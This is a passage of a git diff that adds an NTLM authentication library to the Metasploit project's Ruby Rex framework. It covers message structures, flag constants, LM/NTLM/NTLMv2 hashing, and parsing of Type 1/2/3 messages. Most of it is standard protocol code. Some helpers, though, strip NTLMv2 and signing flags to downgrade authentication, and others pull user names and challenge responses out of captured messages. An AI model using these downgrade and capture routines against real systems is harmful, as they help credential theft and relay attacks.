add_field(name, Int32LE, opts) + end + + def int64LE(name, opts) + add_field(name, Int64LE, opts) + end + + def security_buffer(name, opts) + add_field(name, SecurityBuffer, opts) + end + + def prototypes + @proto + end + + def names + @proto.map{|n, t, o| n} + end + + def types + @proto.map{|n, t, o| t} + end + + def opts + @proto.map{|n, t, o| o} + end + + private + + def add_field(name, type, opts) + (@proto ||= []).push [name, type, opts] + define_accessor name + end + + def define_accessor(name) + module_eval(<<-End, __FILE__, __LINE__ + 1) + def #{name} + self['#{name}'].value + end + + def #{name}=(val) + self['#{name}'].value = val + end + End + end + end #self + + def initialize + @alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] } + end + + def serialize + @alist.map{|n, f| f.serialize }.join + end + + def parse(str, offset=0) + @alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)} + end + + def size + @alist.inject(0){|sum, a| sum += a[1].size} + end + + def [](name) + a = @alist.assoc(name.to_s.intern) + raise ArgumentError, "no such field: #{name}" unless a + a[1] + end + + def []=(name, val) + a = @alist.assoc(name.to_s.intern) + raise ArgumentError, "no such field: #{name}" unless a + a[1] = val + end + + def enable(name) + self[name].active = true + end + + def disable(name) + self[name].active = false + end + end + + Blob = FieldSet.define { + int32LE :blob_signature, {:value => CONST::BLOB_SIGN} + int32LE :reserved, {:value => 0} + int64LE :timestamp, {:value => 0} + string :challenge, {:value => "", :size => 8} + int32LE :unknown1, {:value => 0} + string :target_info, {:value => "", :size => 0} + int32LE :unknown2, {:value => 0} + } + + SecurityBuffer = FieldSet.define { + int16LE :length, {:value => 0} + int16LE :allocated, {:value => 0} + int32LE :offset, {:value => 0} + } + + + class SecurityBuffer + attr_accessor :active + def initialize(opts) + super() + @value = opts[:value] + @active = opts[:active].nil? ? true : opts[:active] + @size = 8 + end + + def parse(str, offset=0) + if @active and str.size >= offset + @size + super(str, offset) + @value = str[self.offset, self.length] + @size + else + 0 + end + end + + def serialize + super if @active + end + + def value + @value + end + + def value=(val) + @value = val + self.length = self.allocated = val.size + end + + def data_size + @active ? @value.size : 0 + end + end +end +end +end +end diff --git a/lib/rex/proto/ntlm/constants.rb b/lib/rex/proto/ntlm/constants.rb new file mode 100644 index 0000000000..0149ada048 --- /dev/null +++ b/lib/rex/proto/ntlm/constants.rb @@ -0,0 +1,74 @@ +module Rex +module Proto +module NTLM +class Constants + + SSP_SIGN = "NTLMSSP\0" + BLOB_SIGN = 0x00000101 + LM_MAGIC = "KGS!@\#$%" + TIME_OFFSET = 11644473600 + MAX64 = 0xffffffffffffffff + + FLAGS = { + :UNICODE => 0x00000001, + :OEM => 0x00000002, + :REQUEST_TARGET => 0x00000004, + #:UNKNOWN => 0x00000008, + :SIGN => 0x00000010, + :SEAL => 0x00000020, + #:UNKNOWN => 0x00000040, + :NETWARE => 0x00000100, + :NTLM => 0x00000200, + #:UNKNOWN => 0x00000400, + #:UNKNOWN => 0x00000800, + :DOMAIN_SUPPLIED => 0x00001000, + :WORKSTATION_SUPPLIED => 0x00002000, + :LOCAL_CALL => 0x00004000, + :ALWAYS_SIGN => 0x00008000, + :TARGET_TYPE_DOMAIN => 0x00010000, + :TARGET_INFO => 0x00800000, + :NTLM2_KEY => 0x00080000, + :KEY128 => 0x20000000, + :KEY56 => 0x80000000 + } + + FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] } + + DEFAULT_FLAGS = { + :TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY], + :TYPE2 => FLAGS[:UNICODE], + :TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY] + } + + # NTLM Response Type + NTLM_V1_RESPONSE = 1 + NTLM_V2_RESPONSE = 2 + NTLM_2_SESSION_RESPONSE = 3 + + #the same flags but merged from lib/rex/proto/smb/constants and keeped for compatibility + # NTLMSSP Message Flags + NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both + NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both + REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server + NEGOTIATE_SIGN = 0x00000010 # Session signature required + NEGOTIATE_SEAL = 0x00000020 # Session seal required + NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing + NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported + NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used + NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info + NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info + NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine + NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets + TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name + TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name + TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver? + NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges + NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block + NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported + NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg + NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported + +end +end +end +end diff --git a/lib/rex/proto/ntlm/crypt.rb b/lib/rex/proto/ntlm/crypt.rb new file mode 100644 index 0000000000..083960d352 --- /dev/null +++ b/lib/rex/proto/ntlm/crypt.rb @@ -0,0 +1,320 @@ +# +# An NTLM Authentication Library for Ruby +# +# This code is a derivative of "dbf2.rb" written by yrock +# and Minero Aoki. You can find original code here: +# http://jp.rubyist.net/magazine/?0013-CodeReview +# ------------------------------------------------------------- +# Copyright (c) 2005,2006 yrock +# +# This program is free software. +# You can distribute/modify this program under the terms of the +# Ruby License. +# +# 2011-02-23 refactored and improved by Alexandre Maloteaux for Metasploit Project +# ------------------------------------------------------------- +# +# 2006-02-11 refactored by Minero Aoki +# ------------------------------------------------------------- +# +# All protocol information used to write this code stems from +# "The NTLM Authentication Protocol" by Eric Glass. The author +# would thank to him for this tremendous work and making it +# available on the net. +# http://davenport.sourceforge.net/ntlm.html +# ------------------------------------------------------------- +# Copyright (c) 2003 Eric Glass +# +# Permission to use, copy, modify, and distribute this document +# for any purpose and without any fee is hereby granted, +# provided that the above copyright notice and this list of +# conditions appear in all copies. +# ------------------------------------------------------------- +# +# The author also looked Mozilla-Firefox-1.0.7 source code, +# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and +# Jonathan Bastien-Filiatrault's libntlm-ruby. +# "http://x2a.org/websvn/filedetails.php? +# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1" +# The latter has a minor bug in its separate_keys function. +# The third key has to begin from the 14th character of the +# input string instead of 13th:) +#-- +# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $ +#++ + + +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/base' + +module Rex +module Proto +module NTLM +class Crypt + +CONST = Rex::Proto::NTLM::Constants +BASE = Rex::Proto::NTLM::Base + + @@loaded_openssl = false + + begin + require 'openssl' + require 'openssl/digest' + @@loaded_openssl = true + rescue ::Exception + end + +begin + + def self.gen_keys(str) + Rex::Text::split_to_a(str, 7).map{ |str7| + bits = Rex::Text::split_to_a(str7.unpack("B*")[0], 7).inject('')\ + {|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s } + [bits].pack("B*") + } + end + + def self.apply_des(plain, keys) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + dec = OpenSSL::Cipher::DES.new + keys.map {|k| + dec.key = k + dec.encrypt.update(plain) + } + end + + def self.lm_hash(password, half = false) + if half then size = 7 else size = 14 end + keys = gen_keys password.upcase.ljust(size, "\0") + apply_des(CONST::LM_MAGIC, keys).join + end + + def self.ntlm_hash(password, opt = {}) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + pwd = password.dup + unless opt[:unicode] + pwd = Rex::Text.to_unicode(pwd) + end + OpenSSL::Digest::MD4.digest pwd + end + + def self.ntlmv2_hash(user, password, domain, opt={}) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + ntlmhash = ntlm_hash(password, opt) + #With Win 7 and maybe other OSs we sometimes get my domain not uppercased, + #so the domain does not need to be uppercased + userdomain = user.upcase + domain + unless opt[:unicode] + userdomain = Rex::Text.to_unicode(userdomain) + end + OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain) + end + + # responses + def self.lm_response(arg, half = false) + begin + hash = arg[:lm_hash] + chal = arg[:challenge] + rescue + raise ArgumentError + end + chal = BASE::pack_int64le(chal) if chal.is_a?(Integer) + if half then size = 7 else size = 21 end + keys = gen_keys hash.ljust(size, "\0") + apply_des(chal, keys).join + end + + #synonym of lm_response for old compatibility with lib/rex/proto/smb/crypt + def self.lanman_des(password, challenge) + arglm = { :lm_hash => self.lm_hash(password), + :challenge => challenge } + self.lm_response(arglm) + end + + def self.ntlm_response(arg) + hash = arg[:ntlm_hash] + chal = arg[:challenge] + chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer) + keys = gen_keys hash.ljust(21, "\0") + apply_des(chal, keys).join + end + + #synonym of ntlm_response for old compatibility with lib/rex/proto/smb/crypt + def self.ntlm_md4(password, challenge) + argntlm = { :ntlm_hash => self.ntlm_hash(password), + :challenge => challenge } + self.ntlm_response(argntlm) + end + + def self.ntlmv2_response(arg, opt = {}) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + begin + key = arg[:ntlmv2_hash] + chal = arg[:challenge] + rescue + raise ArgumentError , 'ntlmv2_hash and challenge are mandatory' + end + chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer) + if opt[:nt_client_challenge] + unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24 + raise ArgumentError,"nt_client_challenge is not in a correct format " + end + bb = opt[:nt_client_challenge] + else + begin + ti = arg[:target_info] + rescue + raise ArgumentError, "target_info is mandatory in this case" + end + if opt[:client_challenge] + cc = opt[:client_challenge] + else + cc = rand(CONST::MAX64) + end + cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer) + + if opt[:timestamp] + ts = opt[:timestamp] + else + ts = Time.now.to_i + end + # epoch -> milsec from Jan 1, 1601 + ts = 10000000 * (ts + CONST::TIME_OFFSET) + + blob = BASE::Blob.new + blob.timestamp = ts + blob.challenge = cc + blob.target_info = ti + + bb = blob.serialize + end + + OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb + + end + + + def self.lmv2_response(arg, opt = {}) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + key = arg[:ntlmv2_hash] + chal = arg[:challenge] + + chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer) + if opt[:client_challenge] + cc = opt[:client_challenge] + else + cc = rand(CONST::MAX64) + end + cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer) + + OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc + end + + def self.ntlm2_session(arg, opt = {}) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + begin + passwd_hash = arg[:ntlm_hash] + chal = arg[:challenge] + rescue + raise ArgumentError + end + + if opt[:client_challenge] + cc = opt[:client_challenge] + else + cc = rand(CONST::MAX64) + end + cc = BASE::pack_int64le(cc) if cc.is_a?(Integer) + + keys = gen_keys passwd_hash.ljust(21, "\0") + session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8) + response = apply_des(session_hash, keys).join + [cc.ljust(24, "\0"), response] + end + + #signing method added for metasploit project + + #Used when only the LMv1 response is provided (i.e., with Win9x clients) + def self.lmv1_user_session_key(pass ) + self.lm_hash(pass.upcase[0,7],true).ljust(16,"\x00") + end + + #This variant is used when the client sends the NTLMv1 response + def self.ntlmv1_user_session_key(pass ) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + OpenSSL::Digest::MD4.digest(self.ntlm_hash(pass)) + end + + #Used when NTLMv1 authentication is employed with NTLM2 session security + def self.ntlm2_session_user_session_key(pass, srv_chall, cli_chall) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + ntlm_key = self.ntlmv1_user_session_key(pass ) + session_chal = srv_chall + cli_chall + OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlm_key, session_chal) + end + + #Used when the LMv2 response is sent + def self.lmv2_user_session_key(user, pass, domain, srv_chall, cli_chall) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + ntlmv2_key = self.ntlmv2_hash(user, pass, domain) + hash1 = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, srv_chall + cli_chall) + OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, hash1) + end + + #Used when the NTLMv2 response is sent + class << self; alias_method :ntlmv2_user_session_key, :lmv2_user_session_key; end + + #Used when LAnMan Key flag is set + def self.lanman_session_key(pass, srvchall) + halfhash =self.lm_hash(pass.upcase[0,7],true) + arglm = { :lm_hash => halfhash[0,7], + :challenge => srvchall } + plain = self.lm_response(arglm,true) + key = halfhash + ["bdbdbdbdbdbd"].pack("H*") + keys = self.gen_keys(key) + self.apply_des(plain, keys).join + end + + + def self.encrypt_sessionkey(session_key, user_session_key) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + cipher = OpenSSL::Cipher::Cipher.new('rc4') + cipher.encrypt + cipher.key = user_session_key + cipher.update(session_key) + end + + def self.decrypt_sessionkey(encrypted_session_key, user_session_key) + raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl + cipher = OpenSSL::Cipher::Cipher.new('rc4') + cipher.decrypt + cipher.key = user_session_key + cipher.update(encrypted_session_key) + end + + def self.make_weak_sessionkey(session_key,key_size,lanman_key = false) + case key_size + when 40 + if lanman_key + return session_key[0,5] + "\xe5\x38\xb0" + else + return session_key[0,5] + end + when 56 + if lanman_key + return session_key[0,7] + "\xa0" + else + return session_key[0,7] + end + else #128 + return session_key[0,16] + end + end + +rescue LoadError +end + +end +end +end +end diff --git a/lib/rex/proto/ntlm/exceptions.rb b/lib/rex/proto/ntlm/exceptions.rb new file mode 100644 index 0000000000..0c1aeb8804 --- /dev/null +++ b/lib/rex/proto/ntlm/exceptions.rb @@ -0,0 +1,9 @@ +module Rex +module Proto +module NTLM +module Exceptions +end +end +end +end + diff --git a/lib/rex/proto/ntlm/message.rb b/lib/rex/proto/ntlm/message.rb new file mode 100644 index 0000000000..042a8c332e --- /dev/null +++ b/lib/rex/proto/ntlm/message.rb @@ -0,0 +1,533 @@ +# +# An NTLM Authentication Library for Ruby +# +# This code is a derivative of "dbf2.rb" written by yrock +# and Minero Aoki. You can find original code here: +# http://jp.rubyist.net/magazine/?0013-CodeReview +# ------------------------------------------------------------- +# Copyright (c) 2005,2006 yrock +# +# This program is free software. +# You can distribute/modify this program under the terms of the +# Ruby License. +# +# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project +# ------------------------------------------------------------- +# +# 2006-02-11 refactored by Minero Aoki +# ------------------------------------------------------------- +# +# All protocol information used to write this code stems from +# "The NTLM Authentication Protocol" by Eric Glass. The author +# would thank to him for this tremendous work and making it +# available on the net. +# http://davenport.sourceforge.net/ntlm.html +# ------------------------------------------------------------- +# Copyright (c) 2003 Eric Glass +# +# Permission to use, copy, modify, and distribute this document +# for any purpose and without any fee is hereby granted, +# provided that the above copyright notice and this list of +# conditions appear in all copies. +# ------------------------------------------------------------- +# +# The author also looked Mozilla-Firefox-1.0.7 source code, +# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and +# Jonathan Bastien-Filiatrault's libntlm-ruby. +# "http://x2a.org/websvn/filedetails.php? +# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1" +# The latter has a minor bug in its separate_keys function. +# The third key has to begin from the 14th character of the +# input string instead of 13th:) +#-- +# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $ +#++ + +#this module defines the message class , useful for easily handling type 1/2/3 ntlm messages + +require 'rex/proto/ntlm/base' +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/crypt' + + +module Rex +module Proto +module NTLM +class Message < Rex::Proto::NTLM::Base::FieldSet + +BASE = Rex::Proto::NTLM::Base +CONST = Rex::Proto::NTLM::Constants + + + class << Message + def parse(str) + m = Type0.new + m.parse(str) + case m.type + when 1 + t = Type1.parse(str) + when 2 + t = Type2.parse(str) + when 3 + t = Type3.parse(str) + else + raise ArgumentError, "unknown type: #{m.type}" + end + t + end + + def decode64(str) + parse(Rex::Text::decode_base64(str)) + end + end#self + + def has_flag?(flag) + (self[:flag].value & CONST::FLAGS[flag]) == CONST::FLAGS[flag] + end + + def set_flag(flag) + self[:flag].value |= CONST::FLAGS[flag] + end + + def dump_flags + CONST::FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") } + end + + def serialize + deflag + super + security_buffers.map{|n, f| f.value}.join + end + + def encode64 + Rex::Text::encode_base64(serialize) + end + + def decode64(str) + parse(Rex::Text::decode_base64(str)) + end + + alias head_size size + + def data_size + security_buffers.inject(0){|sum, a| sum += a[1].data_size} + end + + def size + head_size + data_size + end + + private + + def security_buffers + @alist.find_all{|n, f| f.instance_of?(BASE::SecurityBuffer)} + end + + def deflag + security_buffers.inject(head_size){|cur, a| + a[1].offset = cur + cur += a[1].data_size + } + end + + def data_edge + security_buffers.map{ |n, f| f.active ? f.offset : size}.min + end + + # sub class definitions + + Type0 = Message.define { + string :sign, {:size => 8, :value => CONST::SSP_SIGN} + int32LE :type, {:value => 0} + } + + Type1 = Message.define { + string :sign, {:size => 8, :value => CONST::SSP_SIGN} + int32LE :type, {:value => 1} + int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE1] } + security_buffer :domain, {:value => "", :active => false} + security_buffer :workstation, {:value => "", :active => false} + string :padding, {:size => 0, :value => "", :active => false } + } + + class Type1 + class << Type1 + def parse(str) + t = new + t.parse(str) + t + end + end + + def parse(str) + super(str) + enable(:domain) if has_flag?(:DOMAIN_SUPPLIED) + enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED) + super(str) + if ( (len = data_edge - head_size) > 0) + self.padding = "\0" * len + super(str) + end + end + end + + Type2 = Message.define{ + string :sign, {:size => 8, :value => CONST::SSP_SIGN} + int32LE :type, {:value => 2} + security_buffer :target_name, {:size => 0, :value => ""} + int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE2]} + int64LE :challenge, {:value => 0} + int64LE :context, {:value => 0, :active => false} + security_buffer :target_info, {:value => "", :active => false} + string :padding, {:size => 0, :value => "", :active => false } + } + + class Type2 + class << Type2 + def parse(str) + t = new + t.parse(str) + t + end + end + + def parse(str) + super(str) + if has_flag?(:TARGET_INFO) + enable(:context) + enable(:target_info) + super(str) + end + if ( (len = data_edge - head_size) > 0) + self.padding = "\0" * len + super(str) + end + end + + def response(arg, opt = {}) + usr = arg[:user] + pwd = arg[:password] + if usr.nil? or pwd.nil? + raise ArgumentError, "user and password have to be supplied" + end + + if opt[:workstation] + ws = opt[:workstation] + else + ws = "" + end + + if opt[:client_challenge] + cc = opt[:client_challenge] + else + cc = rand(CONST::MAX64) + end + cc = Rex::Text::pack_int64le(cc) if cc.is_a?(Integer) + opt[:client_challenge] = cc + + if has_flag?(:OEM) and opt[:unicode] + usr = Rex::Text::to_ascii(usr,'utf-16le') + pwd = Rex::Text::to_ascii(pwd,'utf-16le') + ws = Rex::Text::to_ascii(ws,'utf-16le') + opt[:unicode] = false + end + + if has_flag?(:UNICODE) and !opt[:unicode] + usr = Rex::Text::to_unicode(usr,'utf-16le') + pwd = Rex::Text::to_unicode(pwd,'utf-16le') + ws = Rex::Text::to_unicode(ws,'utf-16le') + opt[:unicode] = true + end + + tgt = self.target_name + ti = self.target_info + + chal = self[:challenge].serialize + + if opt[:ntlmv2] + ar = { :ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt), + :challenge => chal, :target_info => ti} + lm_res = NTLM::lmv2_response(ar, opt) + ntlm_res = NTLM::ntlmv2_response(ar, opt) + elsif has_flag?(:NTLM2_KEY) + ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal} + lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt) + else + lm_res = NTLM::lm_response(pwd, chal) + ntlm_res = NTLM::ntlm_response(pwd, chal) + end + + Type3.create({ + :lm_response => lm_res, + :ntlm_response => ntlm_res, + :domain => tgt, + :user => usr, + :workstation => ws, + :flag => self.flag + }) + end + end + + + Type3 = Message.define{ + string :sign, {:size => 8, :value => CONST::SSP_SIGN} + int32LE :type, {:value => 3} + security_buffer :lm_response, {:value => ""} + security_buffer :ntlm_response, {:value => ""} + security_buffer :domain, {:value => ""} + security_buffer :user, {:value => ""} + security_buffer :workstation, {:value => ""} + security_buffer :session_key, {:value => "", :active => false } + int64LE :flag, {:value => 0, :active => false } + } + + class Type3 + class << Type3 + def parse(str) + t = new + t.parse(str) + t + end + + def create(arg, opt ={}) + t = new + t.lm_response = arg[:lm_response] + t.ntlm_response = arg[:ntlm_response] + t.domain = arg[:domain] + t.user = arg[:user] + t.workstation = arg[:workstation] + + if arg[:session_key] + t.enable(:session_key) + t.session_key = arg[session_key] + end + if arg[:flag] + t.enable(:session_key) + t.enable(:flag) + t.flag = arg[:flag] + end + t + end + end#self + end + + public + #those class method have been merged from lib/rex/smb/utils + + # + # Process Type 3 NTLM Message (in Base64) + # + # from http://www.innovation.ch/personal/ronald/ntlm.html + # + # struct { + # byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0' + # byte type; // 0x03 + # byte zero[3]; + # + # short lm_resp_len; // LanManager response length (always 0x18) + # short lm_resp_len; // LanManager response length (always 0x18) + # short lm_resp_off; // LanManager response offset + # byte zero[2]; + # + # short nt_resp_len; // NT response length (always 0x18) + # short nt_resp_len; // NT response length (always 0x18) + # short nt_resp_off; // NT response offset + # byte zero[2]; + # + # short dom_len; // domain string length + # short dom_len; // domain string length + # short dom_off; // domain string offset (always 0x40) + # byte zero[2]; + # + # short user_len; // username string length + # short user_len; // username string length + # short user_off; // username string offset + # byte zero[2]; + # + # short host_len; // host string length + # short host_len; // host string length + # short host_off; // host string offset + # byte zero[6]; + # + # short msg_len; // message length + # byte zero[2]; + # + # short flags; // 0x8201 + # byte zero[2]; + # + # byte dom[*]; // domain string (unicode UTF-16LE) + # byte user[*]; // username string (unicode UTF-16LE) + # byte host[*]; // host string (unicode UTF-16LE) + # byte lm_resp[*]; // LanManager response + # byte nt_resp[*]; // NT response + # } type_3_message + # + def self.process_type3_message(message) + decode = Rex::Text.decode_base64(message.strip) + type = decode[8,1].unpack("C").first + if (type == 3) + lm_len = decode[12,2].unpack("v").first + lm_offset = decode[16,2].unpack("v").first + lm = decode[lm_offset, lm_len].unpack("H*").first + + nt_len = decode[20,2].unpack("v").first + nt_offset = decode[24,2].unpack("v").first + nt = decode[nt_offset, nt_len].unpack("H*").first + + dom_len = decode[28,2].unpack("v").first + dom_offset = decode[32,2].unpack("v").first + domain = decode[dom_offset, dom_len] + + user_len = decode[36,2].unpack("v").first + user_offset = decode[40,2].unpack("v").first + user = decode[user_offset, user_len] + + host_len = decode[44,2].unpack("v").first + host_offset = decode[48,2].unpack("v").first + host = decode[host_offset, host_len] + + return domain, user, host, lm, nt + else + return "", "", "", "", "" + end + end + + + + # + # Process Type 1 NTLM Messages, return a Base64 Type 2 Message + # + def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN', + win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true) + + dns_name = Rex::Text.to_unicode(dns_name + "." + dns_domain) + win_domain = Rex::Text.to_unicode(win_domain) + dns_domain = Rex::Text.to_unicode(dns_domain) + win_name = Rex::Text.to_unicode(win_name) + decode = Rex::Text.decode_base64(message.strip) + + type = decode[8,1].unpack("C").first + + if (type == 1) + # A type 1 message has been received, lets build a type 2 message response + + reqflags = decode[12,4] + reqflags = reqflags.unpack("V").first + + if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET + + if (downgrade) + # At this time NTLMv2 and signing requirements are not supported + if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY + reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY + end + if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN + reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN + end + end + + flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER + tid = true + + tidoffset = 48 + win_domain.length + tidbuff = + [2].pack('v') + # tid type, win domain + [win_domain.length].pack('v') + + win_domain + + [1].pack('v') + # tid type, server name + [win_name.length].pack('v') + + win_name + + [4].pack('v') + # tid type, domain name + [dns_domain.length].pack('v') + + dns_domain + + [3].pack('v') + # tid type, dns_name + [dns_name.length].pack('v') + + dns_name + else + flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM + tid = false + end + + type2msg = "NTLMSSP\0" + # protocol, 8 bytes + "\x02\x00\x00\x00" # type, 4 bytes + + if (tid) + type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET + [win_domain.length].pack('v') + # Length, 2 bytes + [win_domain.length].pack('v') # Allocated space, 2 bytes + end + + type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes + [flags].pack('V') + # flags, 4 bytes + nonce + # the nonce, 8 bytes + "\x00" * 8 # Context (all 0s), 8 bytes + + if (tid) + type2msg += # Target information security buffer. Filled if REQUEST_TARGET + [tidbuff.length].pack('v') + # Length, 2 bytes + [tidbuff.length].pack('v') + # Allocated space, 2 bytes + [tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain) + win_domain + # Target name data (domain in unicode if REQUEST_UNICODE) + # Target information data + tidbuff + # Type, 2 bytes + # Length, 2 bytes + # Data (in unicode if REQUEST_UNICODE) + "\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00 + end + + type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns + else + # This is not a Type2 message + type2msg = "" + end + + return type2msg + end + + # + # Downgrading Type messages to LMv1/NTLMv1 and removing signing + # + def self.downgrade_type_message(message) + decode = Rex::Text.decode_base64(message.strip) + + type = decode[8,1].unpack("C").first + + if (type > 0 and type < 4) + reqflags = decode[12..15] if (type == 1 or type == 3) + reqflags = decode[20..23] if (type == 2) + reqflags = reqflags.unpack("V") + + # Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation + # down to LMv1/NTLMv1. + if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY + reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY + end + if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN + reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN + end + + # Return the flags back to the decode so we can base64 it again + flags = reqflags.to_s(16) + 0.upto(8) do |idx| + if (idx > flags.length) + flags.insert(0, "0") + end + end + + idx = 0 + 0.upto(3) do |cnt| + if (type == 2) + decode[23-cnt] = [flags[idx,1]].pack("C") + else + decode[15-cnt] = [flags[idx,1]].pack("C") + end + idx += 2 + end + + end + return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns + end + +end +end +end +end diff --git a/lib/rex/proto/ntlm/utils.rb b/lib/rex/proto/ntlm/utils.rb new file mode 100644 index 0000000000..4f1eb321cb --- /dev/null +++ b/lib/rex/proto/ntlm/utils.rb @@ -0,0 +1,358 @@ +module Rex +module Proto +module NTLM +class Utils + + #duplicate from lib/rex/proto/smb/utils cause we only need this fonction from Rex::Proto::SMB::Utils + # Convert a unix timestamp to a 64-bit signed server time + def self.time_unix_to_smb(unix_time) + t64 = (unix_time + 11644473600) * 10000000 + thi = (t64 & 0xffffffff00000000) >> 32 + tlo = (t64 & 0x00000000ffffffff) + return [thi, tlo] + end + + # + # Prepends an ASN1 formatted length field to a piece of data + # + def self.asn1encode(str = '') + res = '' + + # If the high bit of the first byte is 1, it contains the number of + # length bytes that follow + + case str.length + when 0 .. 0x7F + res = [str.length].pack('C') + str + when 0x80 .. 0xFF + res = [0x81, str.length].pack('CC') + str + when 0x100 .. 0xFFFF + res = [0x82, str.length].pack('Cn') + str + when 0x10000 .. 0xffffff + res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str + when 0x1000000 .. 0xffffffff + res = [0x84, str.length].pack('CN') + str + else + raise "ASN1 str too long" + end + return res + end + + #GSS functions + + #GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message + #mechTypes: 2 items : + # -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30) + # -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) + # + #this is the default on Win7 + def self.make_simple_negotiate_secblob_resp + blob = + "\x60" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x05\x05\x02" + ) + + "\xa0" + self.asn1encode( + "\x30" + 